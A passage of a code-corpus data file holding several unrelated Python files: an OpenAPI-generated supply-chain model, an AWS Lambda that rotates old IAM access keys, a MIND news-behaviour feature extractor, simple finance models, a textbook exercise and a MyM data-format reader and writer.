+{"seq_id":"484036918","text":"# coding: utf-8\n\n\"\"\"\n    PharmaTrace Supply Chain Information Network API\n\n    The PharmaTrace SCIN API provides network members a resource and process oriented access to the blockchain backed market and inventory information. It represents a layer of abstraction above the Hyperledger network to facilitate a business focused development of clients and integration systems without the need to directly connect to Hyperledger nodes.  # noqa: E501\n\n    OpenAPI spec version: 0.0.1\n    Contact: api@pharmatrace.io\n    Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nimport pprint\nimport re  # noqa: F401\n\nimport six\n\n\nclass Container(object):\n    \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n    Ref: https://openapi-generator.tech\n\n    Do not edit the class manually.\n    \"\"\"\n\n    \"\"\"\n    Attributes:\n      openapi_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n    openapi_types = {\n        'container_id': 'str',\n        'epc_code': 'str',\n        'label': 'str',\n        'barcode': 'str',\n        'rf_id': 'str',\n        'quantity': 'float',\n        'unit': 'str',\n        'current_location_id': 'str',\n        'owner_stakeholder_id': 'str',\n        'parent_container_id': 'str'\n    }\n\n    attribute_map = {\n        'container_id': 'container_id',\n        'epc_code': 'epc_code',\n        'label': 'label',\n        'barcode': 'barcode',\n        'rf_id': 'rf_id',\n        'quantity': 'quantity',\n        'unit': 'unit',\n        'current_location_id': 'current_location_id',\n        'owner_stakeholder_id': 'owner_stakeholder_id',\n        'parent_container_id': 'parent_container_id'\n    }\n\n    def __init__(self, container_id=None, epc_code=None, label=None, barcode=None, rf_id=None, quantity=None, unit=None, current_location_id=None, owner_stakeholder_id=None, parent_container_id=None):  # noqa: E501\n        \"\"\"Container - a model defined in OpenAPI\"\"\"  # noqa: E501\n\n        self._container_id = None\n        self._epc_code = None\n        self._label = None\n        self._barcode = None\n        self._rf_id = None\n        self._quantity = None\n        self._unit = None\n        self._current_location_id = None\n        self._owner_stakeholder_id = None\n        self._parent_container_id = None\n        self.discriminator = None\n\n        if container_id is not None:\n            self.container_id = container_id\n        if epc_code is not None:\n            self.epc_code = epc_code\n        if label is not None:\n            self.label = label\n        if barcode is not None:\n            self.barcode = barcode\n        if rf_id is not None:\n            self.rf_id = rf_id\n        if quantity is not None:\n            self.quantity = quantity\n        if unit is not None:\n            self.unit = unit\n        if current_location_id is not None:\n            self.current_location_id = current_location_id\n        if owner_stakeholder_id is not None:\n            self.owner_stakeholder_id = owner_stakeholder_id\n        if parent_container_id is not None:\n            self.parent_container_id = parent_container_id\n\n    @property\n    def container_id(self):\n        \"\"\"Gets the container_id of this Container.  # noqa: E501\n\n        Unique identifier representing a specific container.  # noqa: E501\n\n        :return: The container_id of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._container_id\n\n    @container_id.setter\n    def container_id(self, container_id):\n        \"\"\"Sets the container_id of this Container.\n\n        Unique identifier representing a specific container.  # noqa: E501\n\n        :param container_id: The container_id of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._container_id = container_id\n\n    @property\n    def epc_code(self):\n        \"\"\"Gets the epc_code of this Container.  # noqa: E501\n\n        EPC code  # noqa: E501\n\n        :return: The epc_code of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._epc_code\n\n    @epc_code.setter\n    def epc_code(self, epc_code):\n        \"\"\"Sets the epc_code of this Container.\n\n        EPC code  # noqa: E501\n\n        :param epc_code: The epc_code of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._epc_code = epc_code\n\n    @property\n    def label(self):\n        \"\"\"Gets the label of this Container.  # noqa: E501\n\n        Serialization label.  # noqa: E501\n\n        :return: The label of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._label\n\n    @label.setter\n    def label(self, label):\n        \"\"\"Sets the label of this Container.\n\n        Serialization label.  # noqa: E501\n\n        :param label: The label of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._label = label\n\n    @property\n    def barcode(self):\n        \"\"\"Gets the barcode of this Container.  # noqa: E501\n\n        barcode on container. Normally equal to container id.  # noqa: E501\n\n        :return: The barcode of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._barcode\n\n    @barcode.setter\n    def barcode(self, barcode):\n        \"\"\"Sets the barcode of this Container.\n\n        barcode on container. Normally equal to container id.  # noqa: E501\n\n        :param barcode: The barcode of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._barcode = barcode\n\n    @property\n    def rf_id(self):\n        \"\"\"Gets the rf_id of this Container.  # noqa: E501\n\n        RFID of RF tracking label on conatiner.  # noqa: E501\n\n        :return: The rf_id of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._rf_id\n\n    @rf_id.setter\n    def rf_id(self, rf_id):\n        \"\"\"Sets the rf_id of this Container.\n\n        RFID of RF tracking label on conatiner.  # noqa: E501\n\n        :param rf_id: The rf_id of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._rf_id = rf_id\n\n    @property\n    def quantity(self):\n        \"\"\"Gets the quantity of this Container.  # noqa: E501\n\n        quantity of product in container.  # noqa: E501\n\n        :return: The quantity of this Container.  # noqa: E501\n        :rtype: float\n        \"\"\"\n        return self._quantity\n\n    @quantity.setter\n    def quantity(self, quantity):\n        \"\"\"Sets the quantity of this Container.\n\n        quantity of product in container.  # noqa: E501\n\n        :param quantity: The quantity of this Container.  # noqa: E501\n        :type: float\n        \"\"\"\n\n        self._quantity = quantity\n\n    @property\n    def unit(self):\n        \"\"\"Gets the unit of this Container.  # noqa: E501\n\n        Unit for quantity measurement.  # noqa: E501\n\n        :return: The unit of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._unit\n\n    @unit.setter\n    def unit(self, unit):\n        \"\"\"Sets the unit of this Container.\n\n        Unit for quantity measurement.  # noqa: E501\n\n        :param unit: The unit of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._unit = unit\n\n    @property\n    def current_location_id(self):\n        \"\"\"Gets the current_location_id of this Container.  # noqa: E501\n\n        Location id of last tracked locaction.  # noqa: E501\n\n        :return: The current_location_id of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._current_location_id\n\n    @current_location_id.setter\n    def current_location_id(self, current_location_id):\n        \"\"\"Sets the current_location_id of this Container.\n\n        Location id of last tracked locaction.  # noqa: E501\n\n        :param current_location_id: The current_location_id of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._current_location_id = current_location_id\n\n    @property\n    def owner_stakeholder_id(self):\n        \"\"\"Gets the owner_stakeholder_id of this Container.  # noqa: E501\n\n        stakeholder id of the last tracked owner of the container.  # noqa: E501\n\n        :return: The owner_stakeholder_id of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._owner_stakeholder_id\n\n    @owner_stakeholder_id.setter\n    def owner_stakeholder_id(self, owner_stakeholder_id):\n        \"\"\"Sets the owner_stakeholder_id of this Container.\n\n        stakeholder id of the last tracked owner of the container.  # noqa: E501\n\n        :param owner_stakeholder_id: The owner_stakeholder_id of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._owner_stakeholder_id = owner_stakeholder_id\n\n    @property\n    def parent_container_id(self):\n        \"\"\"Gets the parent_container_id of this Container.  # noqa: E501\n\n        id of the parent container or null.  # noqa: E501\n\n        :return: The parent_container_id of this Container.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._parent_container_id\n\n    @parent_container_id.setter\n    def parent_container_id(self, parent_container_id):\n        \"\"\"Sets the parent_container_id of this Container.\n\n        id of the parent container or null.  # noqa: E501\n\n        :param parent_container_id: The parent_container_id of this Container.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._parent_container_id = parent_container_id\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.openapi_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"Returns the string representation of the model\"\"\"\n        return pprint.pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, Container):\n            return False\n\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        return not self == other\n","sub_path":"openapi_client/models/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":10819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"566628519","text":"import boto3\nfrom datetime import date\nimport os\n\ndef lambda_handler(event, context):\n\n\tmaximum_duration = 90\n\n\tiamClient =  boto3.client('iam', region_name = os.environ[\"REGION\"])\n\temailClient = boto3.client('sns', region_name = os.environ[\"REGION\"])\n\n\t# response = emailClient.create_topic(Name=\"CheckingAccessKeys\")\n\t# topic_arn = response[\"TopicArn\"]\n\ttopic_arn = \"arn:aws:sns:eu-west-1:062424101843:test-topic\"\n\n\tmy_list=list()\n\taccess_keys_of_user=list()\n\tiam_all_users = iamClient.list_users()\n\t\n\tfor user in iam_all_users['Users']:\n\t\tmy_list.append(user['UserName'])\n\n\tfor user_name in my_list:\n\t\taccess_keys_of_user = iamClient.list_access_keys(UserName=user_name)\n\n\t\tfor access_key_of_user in access_keys_of_user['AccessKeyMetadata']:\n\t\t\taccessKeydate = access_key_of_user['CreateDate'].date()\n\t\t\tcurrentdate = date.today()\n\t\t\tactive_days = currentdate - accessKeydate\n\t\t\t\n\t\t\tprint(\"+++++++++++++\", active_days.days)\n\t\t\t\n\t\t\tif int(active_days.days) > maximum_duration:\n\t\t\t\ttry:\n\t\t\t\t\tresponse = iamClient.delete_access_key(\n\t\t\t\t\t\tUserName = user_name,\n\t\t\t\t\t\tAccessKeyId = access_key_of_user['AccessKeyId']\n\t\t\t\t\t)\n\t\t\t\t\temailClient.publish(\n\t\t\t\t\t\tTopicArn=topic_arn,\n\t\t\t\t\t\tMessage=\"You could not use this access key, because it was expired.\",\n\t\t\t\t\t\tSubject=\"This Access Key was expired.\"\n\t\t\t\t\t)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\treturn {\"Exception\", e}\n\t\tif len(access_keys_of_user['AccessKeyMetadata']) > 1:\n\t\t\ttemp_accessKeyID = access_keys_of_user['AccessKeyMetadata'][0]['AccessKeyId']\n\t\t\ttemp_date = access_keys_of_user['AccessKeyMetadata'][0]['CreateDate'].date()\n\n\t\t\tfor access_key_of_user in access_keys_of_user['AccessKeyMetadata']:\n\t\t\t\tif temp_date < access_key_of_user['CreateDate'].date():\n\t\t\t\t\ttry:\n\t\t\t\t\t\tresponse = iamClient.delete_access_key(\n\t\t\t\t\t\t\tUserName = user_name,\n\t\t\t\t\t\t\tAccessKeyId = access_key_of_user['AccessKeyId']\n\t\t\t\t\t\t)\n\t\t\t\t\t\temailClient.publish(\n\t\t\t\t\t\t\tTopicArn=topic_arn, \n\t\t\t\t\t\t\tMessage=\"You could not use this access key, because it was older.\", \n\t\t\t\t\t\t\tSubject=\"This Access Key was older.\"\n\t\t\t\t\t\t)\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn {\"Exception\", e}\n\t\taccess_keys_of_user[\"AccessKeyMetadata\"][0][\"CreateDate\"] = str(access_keys_of_user[\"AccessKeyMetadata\"][0][\"CreateDate\"])\t\n\n\tuser_key_list = []\n\tcurrentdate = date.today()\n\n\tfor user_name in my_list:\n\t\taccessKey = iamClient.list_access_keys(UserName=user_name)['AccessKeyMetadata'][0]['AccessKeyId']\n\t\tavailableDuration = currentdate - iamClient.list_access_keys(UserName=user_name)['AccessKeyMetadata'][0]['CreateDate'].date()\n\t\tuser_key_list.append({\"userName\": user_name, \"accessKey\": accessKey, \"availableDuration\": \"%d(%d)\" % (int(availableDuration.days), maximum_duration)})\n\t\t\n\treturn {\n\t\t'body': {'keyList': user_key_list},\n\t\t'headers': {'Content-Type': 'text/html', 'Access-Control-Allow-Origin': '*'}\n\t}\n","sub_path":"src/getAccessKeys/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"330023524","text":"##This file is an extraction for MIND features, i.e. News_Users and News_Users\r\nimport pandas as pd \r\nimport json\r\nimport numpy\r\n\r\n\r\n##This is the function for getting user_news relations\r\ndef getUserNews(df):\r\n\tuser_news_dict = dict()\r\n\tfor row in df.itertuples():\r\n\t\tuser = getattr(row, 'user')\r\n\t\timpressions = getattr(row, 'impressions')\r\n\t\timp = impressions.split()\r\n\t\tkey = int(user[1:])\r\n\t\tvalue = []\r\n\t\tfor ii in imp:\r\n\t\t\tif ii.endswith('-1'):\r\n\t\t\t\tnewid = int(ii.split('-')[0][1:])\r\n\t\t\t\tvalue.append(newid)\r\n\r\n\t\tif key in user_news_dict:\r\n\t\t\torigin_value = user_news_dict.get(key)\r\n\t\t\tnew_value = list(set(origin_value + value))\r\n\t\t\tuser_news_dict[key] = new_value\r\n\t\telse:\r\n\t\t\tuser_news_dict[key] = value\r\n\r\n\treturn user_news_dict\r\n\r\n##This is the function for getting the news_user relations\r\ndef getNewsUser(df):\r\n\tnews_user_dict = dict()\r\n\tfor row in df.itertuples():\r\n\t\tuser = getattr(row, 'user')\r\n\t\timpressions = getattr(row, 'impressions')\r\n\t\timp = impressions.split()\r\n\t\tvalue = [int(user[1:]),]\r\n\t\tkeys = []\r\n\t\tfor ii in imp:\r\n\t\t\tif ii.endswith('-1'):\r\n\t\t\t\tnewid = int(ii.split('-')[0][1:])\r\n\t\t\t\tkeys.append(newid)\r\n\r\n\t\tfor key in keys:\r\n\t\t\tif key in news_user_dict:\r\n\t\t\t\torigin_value = news_user_dict.get(key)\r\n\t\t\t\tnew_value = list(set(origin_value + value))\r\n\t\t\t\tnews_user_dict[key] = new_value\r\n\r\n\t\t\telse:\r\n\t\t\t\tnews_user_dict[key] = value\r\n\r\n\treturn news_user_dict\r\n\r\n##main function\r\n\r\ndef main():\r\n\tdf = pd.read_csv('behaviors.tsv', sep='\\t', names=['id', 'user', 'time', 'history', 'impressions']) ## read data from behaviors in MIND\r\n\tuser_news_dict = getUserNews(df)\r\n\tnews_user_dict = getNewsUser(df)\r\n\r\n\tkey_order = sorted(user_news_dict.keys())\r\n\r\n\tres_un = []\r\n\tres_un.append([])\r\n\tfor key in key_order:\r\n\t\tres_un.append(user_news_dict[key])\r\n\r\n\twith open('user_news_dict.txt', 'w') as txt_file:\r\n\t\t\ttxt_file.write(str(res_un))\r\n\r\n\tjson_str = json.dumps(news_user_dict)\r\n\twith open('news_user_dict.json', 'w') as json_file:\r\n\t\tjson_file.write(json_str)\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n","sub_path":"handleBehaviors.py","file_name":"handleBehaviors.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"497699110","text":"import datetime\n\nclass Entity:\n    CREATE_QUERY = '''CREATE TABLE \"entities\" (\n\t\"id\"\tINTEGER PRIMARY KEY AUTOINCREMENT,\n\t\"name\"\tTEXT,\n\t\"value\"\tNUMERIC,\n\t\"type\"\tINTEGER\n);'''\n\n    id = 0\n    name = \"\"\n    value = \"\"\n    type = -1\n\n    TYPE_ASSET = 0\n    TYPE_DEBT = 1\n    TYPE_INCOME = 2\n    TYPE_EXPENSE = 3\n\n    def get_type_string(self):\n        if self.type == 0:\n            return \"Asset\"\n        elif self.type == 1:\n            return \"Debt\"\n        elif self.type == 2:\n            return \"Income\"\n        elif self.type == 3:\n            return \"Expense\"\n        else:\n            return \"Not Defined\"\n\n\n    def __str__(self):\n        return \"{}: {} = ₹{} [{}]\".format(\n            self.id,\n            self.name,\n            self.value,\n            self.get_type_string()\n        )\n\n\nclass Transaction:\n    CREATE_QUERY = '''CREATE TABLE \"transactions\" (\n\t\"id\"\tINTEGER PRIMARY KEY AUTOINCREMENT,\n\t\"from_entity\"\tINTEGER,\n\t\"to_entity\"\tINTEGER,\n\t\"amount\"\tNUMERIC,\n\t\"date\"\tNUMERIC,\n    \"comment\"\tTEXT\n);'''\n\n    id = 0\n    from_entity = None\n    to_entity = None\n    amount = None\n    date = None\n    comment = \"\"\n\n    def set_date_from_str(self, string):\n        if string == \"0\":\n            self.date = datetime.datetime.now()\n        else:\n            while True:\n                try:\n                    self.date = datetime.datetime.strptime(string, \"%d-%m-%y\")\n                    break\n                except:\n                    pass\n\n    def set_date_from_timestamp(self, timestamp):\n        self.date = datetime.datetime.fromtimestamp(timestamp)\n\n    def get_timestamp(self):\n        if self.date is None:\n            self.date = datetime.datetime.now()\n\n        return int(self.date.timestamp())\n\n    def __str__(self):\n        string = \"{}: [{}]\\t₹{} From {}\\tTo {} ({})\".format(\n            self.id,\n            self.date.strftime(\"%d-%m-%y\"),\n            self.amount,\n            self.from_entity.name,\n            self.to_entity.name,\n            self.comment\n        )\n        return string","sub_path":"db/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"652075516","text":"import os\nprint('hello, my head first python')\ndef sanitize(time_string):\n    if '-' in time_string:\n        spilitter='-'\n    elif ':' in time_string:\n        spilitter=':'\n    else:\n        return(time_string)\n    \n    (min,sec)=time_string.split(spilitter)\n    return (min+'.'+sec)\n\ndef get_coach_data(filename):\n    try:\n        with open(filename) as f:\n            data=f.readline()\n        return (data.strip().split(','))\n    except IOError as e:\n        print('file error: ' + str(e))\n        return (None)\n\nsarah2=get_coach_data('D:\\dev\\python\\MyHeadFirstPython\\sarah2.txt')\nprint(sarah2)\n\n(sarah_name, sarah_dob)=sarah2.pop(0), sarah2.pop(0)\nprint(sarah_name + \"'s fastest time are : \" + \\\n    str(sorted(set([sanitize(t) for t in sarah2]))[0:3]))\n\n#using dictionary\nsarah3=get_coach_data('D:\\dev\\python\\MyHeadFirstPython\\sarah2.txt')\nsarah={}\nsarah['name']=sarah3.pop(0)\nsarah['dob']= sarah3.pop(0)\nsarah['time score']=sarah3\nprint(sarah['name'] + \"'s fastest time are (3): \" + \\\n    str(sorted(set([sanitize(t) for t in sarah3]))[0:3]))\n\n\n","sub_path":"page176.py","file_name":"page176.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"403263516","text":"import numpy as np\nimport pandas as pd\nimport re as re\nimport os.path\n\nfrom scipy.interpolate import interp1d # for load_mym()\n\nfrom csv import Sniffer as Sniffer\nfrom string import whitespace as whitespace\n\nLINESEP = \"\\n\"\n\n# ............................................................................ #\nclass Header():\n\n    datatypes = {\"real\": float, \"integer\": int}\n    \n    def __init__(self, line):\n        self.line = line\n        self.dimensions = [1]\n        self.has_domain = False\n        self.has_time = False\n        \n        self.process()\n    \n    def process(self):\n        \"\"\"\n        Extracts metadata from the header `line`.\n        \n        The header line contains \"datatype name[d1,d2,...,dn](t) = [t1\",\n        with n [di] dimensions, datatype is equal to either \"real\" or \"integer\", \n        where the time dimension [\"(t)\"] is optional.\n        \"\"\"\n        domain_match = re.search(r\"\\((.*)\\)\", self.line)\n        if domain_match:\n            self.has_domain = True\n            self.domain = domain_match.group(1)\n            self.has_time = True if self.domain == \"t\" else False\n        \n        # > parse the [di] dimension values\n        dim_match = re.search(r\"\\[(.*)\\]\", self.line)\n        if dim_match:\n            self.dimensions = [int(d) for d in dim_match.group(1).split(\",\")]\n\n        # > a block of data values includes 1 time value if `has_time`\n        self.data_block_size = np.prod(self.dimensions)\n        if self.has_domain:\n            self.data_block_size = self.data_block_size + 1\n\n        # > establish Python data type\n        mym_datatype = self.line.split()[0].lower()\n        self.datatype = self.datatypes[mym_datatype]\n        \n        # > parse the data on the remainder of the line\n        self.raw_data = self.line.partition(\"=\")[-1].strip(whitespace + \"[\")\n# ............................................................................ #\n\n\ndef read_mym(filename, path=\"\"):\n    \"\"\"\n    Read a MyM data file. Return numpy array.\n    \n    The MyM data file should contain a single variable, that can be\n    time-dependent. \n    \n    Parameters\n    ----------\n    filename : string\n        name of the file to be read in\n    path : string\n        path to the filename, either relative or absolute\n    \n    Returns\n    -------\n    header : string\n        contains comment lines and variable specification, the last line should\n        end with '[a1,...,an](t) = [' or '[a1,...,an] ='\n    data : np.array\n        contains the data as a [t,a1,...,an] shaped numpy matrix\n    time : np.array\n        vector with time values, with time.shape = [t,1]\n    \"\"\"\n    # Open file, extract header, and read data\n    filepath = os.path.join(path, filename)\n\n    content = []\n    metadata = []\n\n    with open(filepath, \"r\") as mym_file:\n        for line in mym_file:\n            line, _, comment = line.partition(\"!\")\n            line = line.lstrip().replace(\"\\n\", \" \")\n            if not line and not content:\n                metadata.append(comment)\n            elif line:\n                if not content:\n                    header = Header(line)\n                    content.append(header.raw_data)\n                else:\n                    content.append(line)\n    \n    content = \"\".join([s for s in content if s])\n\n    # Process data\n    # `first_chunk` results in a large enough string for the `Sniffer` to find the delimiter and\n    #  small enough to be fast.\n    first_chunk = 64\n    delimiters = \"\".join([\",\", whitespace])\n    mym_format = Sniffer().sniff(content[:first_chunk], delimiters=delimiters)\n    \n    raw_data = np.fromstring(content, dtype=header.datatype,\n                             sep=mym_format.delimiter)\n\n    # find the desired dimensions, where `domain_size == 1` for time-independent data\n    domain_size, dimension_error = divmod(raw_data.size, header.data_block_size)\n    if dimension_error:\n        raise RuntimeError(\"File dimensions are parsed incorrectly.\")\n\n    # reshape `raw_data` in two steps to enable splitting off time vector\n    raw_dimensions = (domain_size, header.data_block_size)\n    data = np.reshape(raw_data, raw_dimensions)\n    \n    if header.has_domain:\n        # split off time vector, where `time == data[:,0]` and reshape\n        # time vector can represent a general domain dimension `if not header.has_time`\n        target_dimensions = (domain_size, *header.dimensions)\n        time, data = np.split(data, [1], axis=1)\n        data = data.reshape(target_dimensions)\n        time = time.reshape(domain_size)\n\n        # time entries should be strictly increasing integers\n        domain_is_integer = all(t.is_integer() for t in time) if header.has_time else True\n        domain_increases = all(time[:-1] < time[1:]) if domain_size > 1 else True\n        domain_ok = domain_is_integer and domain_increases\n        if not domain_ok:\n            raise RuntimeError(\"Domain dimension does not consist of strictly increasing numbers.\")\n\n        return data, time\n    else:\n        return data.reshape(header.dimensions)\n# ............................................................................ #\n\n\ndef load_mym(filename, path=\"\", time=None, extrapolate=\"\"):\n    \"\"\"\n    Load a MyM data file according to specifications. Return numpy array.\n    \n    The MyM data file should contain a single time-dependent variable. \n    \n    Parameters\n    ----------\n    filename : string\n        name of the file to be read in, gives `data_in` and `time_in`\n    path : string, optional\n        path to the filename, either relative or absolute\n    time : np.array\n        time array to which the MyM data should be cast\n    extrapolate : {\"\", \"fill\"}\n        determines whether `data` will be extrapolated for `time` values\n        outside the range `time_in` where `data_in` is defined.\n        If `extrapolate` == \"fill\", `data` will be extended based on the\n        closest defined values of `data_in`. \n    \n    Returns\n    -------\n    header : string\n        contains comment lines and variable specification, the last line should\n        end with '[a1,...,an](t) = ['\n    data : np.array\n        contains the data as a [t,a1,...,an] shaped numpy matrix\n    \"\"\"\n\n    if time is None:\n        time_start, time_stop, time_step = (1970, 2100, 5)\n        time = np.arange(time_start, time_stop + time_step, step=time_step)\n\n    try:\n        data_in, time_in = read_mym(filename, path=path)\n    except TypeError:\n        print(\"Data read from [{}] is not time-dependent\".format(filename))\n        raise\n\n    # TODO: check whether `time` has values outside of `time_in`,\n    #       while `extrapolate` is off? {mvdb}\n    # TODO: check whether we want to change interpolation method {mvdb}\n    f = interp1d(time_in, data_in, axis=0, kind=\"linear\")\n    if extrapolate == \"fill\":\n        time_bounds = min(time[time >= time_in[0]]), max(time[time <= time_in[-1]])\n        bounds = f(time_bounds)\n        f = interp1d(time_in, data_in, axis=0, kind=\"linear\", fill_value=bounds)\n    \n    data = f(time)\n\n    return data\n\n\ndef stringify(array, indent=4, sep=\",\"):\n    \"\"\"\n    Generate data string from array. Return string.\n    \"\"\"\n    formatter = lambda number: \"{:14s}\".format(\"{:.4f}{}\".format(number, sep))\n    s = \"\"\n    for row in array:\n        line = [\" \" * indent]\n        line += [formatter(x) for x in row]\n        line += LINESEP\n        s += \"\".join(line)\n    \n    return s\n# ............................................................................ #\n\n\ndef get_yearly_data_table(data, dimensions, year, years, table):\n    \"\"\"\n    Generate `data` for `year` in desired `table` format. Return numpy array.\n    \"\"\"\n    if isinstance(data, pd.DataFrame):\n        data_table = data.loc[:,[year]]\n    elif isinstance(data, np.ndarray):\n        data_table = data[year == years,...]\n    \n    data_table = shape_data_table(data_table, dimensions, table)\n    \n    return data_table\n# ............................................................................ #\n\n\ndef shape_data_table(data_table, dimensions, table):\n    \"\"\"\n    Shape `data_table` to desired table format. Return numpy array.\n    \"\"\"\n    if isinstance(data_table, (pd.DataFrame, pd.Series)):\n        data_table = data_table.values\n\n    to_shape = {\"wide\": [-1, dimensions[-1]], \"long\": [-1, 1]}\n    data_table = data_table.reshape(to_shape[table])\n\n    return data_table\n\n\ndef print_mym(data, years=None, sep=\",\", name=\"\", table=\"long\", comment=\"\"):\n    \"\"\"\n    Print `data` in MyM data format string. Return string.\n\n    The time dimension in `years` is treated as a separate, by definition\n    slowest changing dimension. Of the other `dimensions`, the leftmost\n    dimension is the slowest changing dimension after `years`. The rightmost\n    dimension is the fastest changing dimension.\n    Long table format prints `data` in a single column, while wide table format\n    prints `data` in matrix format with the fastest changing dimension on a\n    single line.\n\n    Parameters\n    ----------\n    data : pandas.DataFrame, pandas.Series or numpy.array\n        a DataFrame is used for a time-dependent variable, where each column\n        contains the data for a single year, for a time-independent variable a\n        Series is expected. A numpy array can contain both types of variables.\n    years : array_like, optional\n        contains time values associated with `data` when data is a numpy array\n    sep : str, default=\",\"\n        character(s) used as separator of `data` elements\n    name : string\n        name of the variable contained in `data`\n    table : {\"long\", \"wide\"}\n        ways of formatting MyM `data` in string\n    comment : string, optional\n        description of `data`\n\n    Returns\n    -------\n    data_string : string\n        `data` in MyM string format\n\n    See also\n    --------\n    write_mym : Write MyM `data_string` to file\n    read_mym : Read MyM data from file\n    \"\"\"\n    if table not in [\"long\", \"wide\"]:\n        table = \"long\"\n        print(\"The [table] argument is not specified correctly, it should be\"\n              \" either 'long' (default) or 'wide', using default.\")\n\n    # Generate `dimensions` and `datatype`\n    # `dimensions` is cast into a list for the correct string representation\n    if isinstance(data, (pd.DataFrame, pd.Series)):\n        try:\n            # Clean `data` for known MultiIndex issues\n            data.index = data.index.remove_unused_levels()\n            if all([level in data.index.names for level in [\"image_region\",\"image_region_index\"]]):\n                data.index = data.index.droplevel(level=\"image_region_index\")\n            dimensions = list(data.index.levshape)\n            \n            # Check dimensionality\n            # `data` should have a size that is equal to the product of its\n            # dimensions, otherwise `data` has duplicates or is incomplete.\n            if not np.prod(dimensions) == data.shape[0]:\n                raise Exception(\"Data for [{}] variable has an inconsistent\"\n                                \" format. Expected [{}] index entries, got\"\n                                \" [{}].\".format(name, np.prod(dimensions), data.shape[0]))\n        except:\n            dimensions = [len(data.index)]\n        datatype = data.values.dtype\n        years = [year for year in data] if isinstance(data, pd.DataFrame) else None\n    elif isinstance(data, np.ndarray):\n        dimensions = list(data.shape[1:])\n        datatype = data.dtype\n    else:\n        raise TypeError(\"Data for [{}] should be a numpy array or a pandas\"\n                        \" DataFrame or Series, instead data is of {}.\".format(name, type(data)))\n    \n    if not np.issubdtype(datatype, np.number):\n        raise ValueError(\"Data for [{}] contains non-numeric entries.\".format(name))\n\n    # Print header\n    if comment:\n        comment = \"!\" + comment if comment[0] != \"!\" else comment\n        comment = comment + LINESEP if comment[-1] != LINESEP else comment\n    mym_datatype = \"real\" if np.issubdtype(datatype, np.floating) else \"integer\"\n    time = \"(t) = [\" if years is not None else \" =\"\n    dimension_string = str(dimensions) if np.prod(dimensions) > 1 else \"\"\n    header = comment + \"{} {}{}{}{}\".format(mym_datatype, name, dimension_string, time, LINESEP)\n\n    # Print data\n    data_string = [header]\n    if years is None:\n        data_string.append(stringify(shape_data_table(data, dimensions, table), sep=sep))\n    else:\n        for year in years:\n            data_string.append(\"{}{}{}\".format(year, sep, LINESEP))\n            data_block = get_yearly_data_table(data, dimensions, year, years, table)\n            data_string.append(stringify(data_block, sep=sep))\n\n    # Close MyM data array\n    # > last number in array should not be followed by a comma\n    data_string[-1] = data_string[-1].rstrip(\"\\n, \")\n    if years is not None:\n        data_string.append(\"]\")\n    data_string.append(\";\")\n\n    return \"\".join(data_string)\n# ............................................................................ #\n\n\ndef write_mym(\n        data, years=None, filename=None, path=None, sep=\",\", variable_name=\"data\", table=\"long\",\n        comment=\"\"):\n    \"\"\"\n    Write mym `data` to file.\n\n    Parameters\n    ----------\n    data : pandas.DataFrame, pandas.Series or numpy.array\n        a DataFrame is used for a time-dependent variable, where each column\n        contains the data for a single year, for a time-independent variable a\n        Series is expected. A numpy array can contain both types of variables.\n    years : array_like, optional\n        contains time values associated with `data` when data is a numpy array\n    filename : str, optional\n        name of the file to which `data` will be written\n    path : str, optional\n        path where `filename` will be created, `path` must exist\n    sep: str, default=\",\"\n        character(s) 